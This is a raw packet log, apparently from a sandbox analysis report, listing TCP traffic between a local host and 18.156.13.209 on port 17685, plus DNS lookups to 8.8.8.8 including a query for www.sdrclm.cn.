May 27, 2022 06:59:22.082380056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082441092 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082462072 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082513094 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082534075 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082618952 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082672119 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082751989 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082771063 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082850933 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082901955 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082954884 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083061934 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083082914 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083102942 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083184958 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083204985 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083353996 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083374977 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083395958 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083415031 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083435059 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083456039 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083475113 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083506107 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.083558083 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083578110 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083611965 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083625078 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083655119 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083667040 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083679914 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083693027 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083739042 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083769083 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083830118 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083859921 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083894968 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.083920002 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.083930016 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.083940029 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083950043 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083964109 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.083986044 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084009886 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084009886 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084049940 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084055901 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084063053 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084073067 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084083080 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084103107 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084125996 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084130049 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084163904 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084176064 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084177017 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084220886 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084220886 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084233046 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084266901 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084299088 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084311008 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084321022 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084331989 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084343910 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084369898 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084417105 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084428072 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084439993 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084448099 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084511042 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084525108 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.084541082 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084553003 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.084619045 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.094871044 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.094886065 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.094897032 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.094966888 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.095006943 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.095242023 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095253944 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095310926 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.095747948 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095762014 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095772028 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095784903 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.095865011 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096158981 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096204996 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096224070 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096235991 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096268892 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096282005 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096585989 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096663952 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096697092 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096784115 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096863985 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.096875906 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097142935 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097223043 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097234964 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097757101 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097769022 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097781897 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097825050 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097836971 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097848892 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097904921 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.097917080 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098103046 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098184109 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098196030 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098225117 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098236084 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098553896 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098567009 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098578930 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.098592997 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099140882 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099185944 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099198103 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099219084 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099231005 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099270105 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099282980 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099294901 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099308014 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099319935 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099333048 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099864960 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099901915 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099915028 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099941969 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099953890 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099976063 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.099987030 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100543976 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100557089 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100570917 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100583076 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100595951 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100616932 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100627899 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100665092 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100678921 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100691080 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100703955 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100716114 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.100735903 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101264954 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101278067 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101291895 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101345062 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101358891 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101389885 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101403952 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101411104 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101464987 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101479053 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101485968 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101496935 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101505995 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101519108 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.101531982 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102029085 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102056026 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102066994 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102080107 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102145910 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102157116 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102169037 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102181911 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102195024 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102216005 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102268934 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102282047 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102294922 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102828026 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102839947 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102852106 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102906942 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102920055 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102931976 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102945089 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102957964 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102978945 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.102982044 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.102993011 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103013039 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.103576899 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103595972 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103610992 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103626013 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103641987 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103657007 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103672028 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103686094 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103702068 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103759050 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103773117 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103787899 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103804111 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103817940 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103833914 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103848934 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103864908 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.103940964 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.104006052 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.104393005 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104432106 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104449034 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104463100 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104480982 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.104491949 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104509115 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104522943 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104540110 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104556084 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104572058 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104585886 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104604006 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104618073 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104633093 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104648113 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104664087 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104681015 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104696035 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104712009 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104753017 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104768038 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104783058 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104799032 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104814053 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104829073 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104845047 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104860067 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104899883 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104913950 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104953051 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.104967117 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105509996 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105535030 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105593920 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105612040 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105627060 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105637074 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105653048 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105668068 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105684996 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105700016 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105715036 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105843067 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105859995 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105874062 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105890989 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105905056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105918884 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105936050 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105951071 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105966091 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105981112 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.105995893 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106010914 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106026888 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106040955 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106056929 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106072903 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106089115 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106558084 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106574059 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.106589079 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114022970 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114068985 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114092112 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114103079 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114115000 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114134073 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114147902 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114166975 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114186049 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114233017 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114252090 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114272118 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114290953 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.114310980 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122098923 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122124910 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122137070 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122148991 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122162104 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122173071 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122191906 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122816086 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122889996 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122909069 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122926950 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122946978 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122967005 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.122986078 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123007059 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123025894 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123045921 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123066902 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123085022 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123585939 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123692036 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123771906 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123847961 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123871088 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123929977 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123955011 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.123980045 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.124003887 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.272092104 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.291443110 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.678318024 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.697590113 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.697715044 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.697765112 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.716857910 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.716903925 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.754735947 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.865842104 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:23.927555084 CEST	49755	17685	192.168.2.3	18.156.13.209

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 06:58:30.240029097 CEST	55923	53	192.168.2.3	8.8.8.8
May 27, 2022 06:58:30.524404049 CEST	53	55923	8.8.8.8	192.168.2.3
May 27, 2022 06:58:53.534558058 CEST	57723	53	192.168.2.3	8.8.8.8
May 27, 2022 06:58:53.553708076 CEST	53	57723	8.8.8.8	192.168.2.3
May 27, 2022 06:59:01.591507912 CEST	58116	53	192.168.2.3	8.8.8.8
May 27, 2022 06:59:01.623964071 CEST	57421	53	192.168.2.3	8.8.8.8
May 27, 2022 06:59:20.093914986 CEST	65266	53	192.168.2.3	8.8.8.8
May 27, 2022 06:59:20.115780115 CEST	53	65266	8.8.8.8	192.168.2.3
May 27, 2022 06:59:21.826895952 CEST	63332	53	192.168.2.3	8.8.8.8
May 27, 2022 06:59:21.844235897 CEST	53	63332	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 27, 2022 06:58:30.240029097 CEST	192.168.2.3	8.8.8.8	0x8553	Standard query (0)	www.sdrclm.cn	A (IP address)	IN (0x0001)
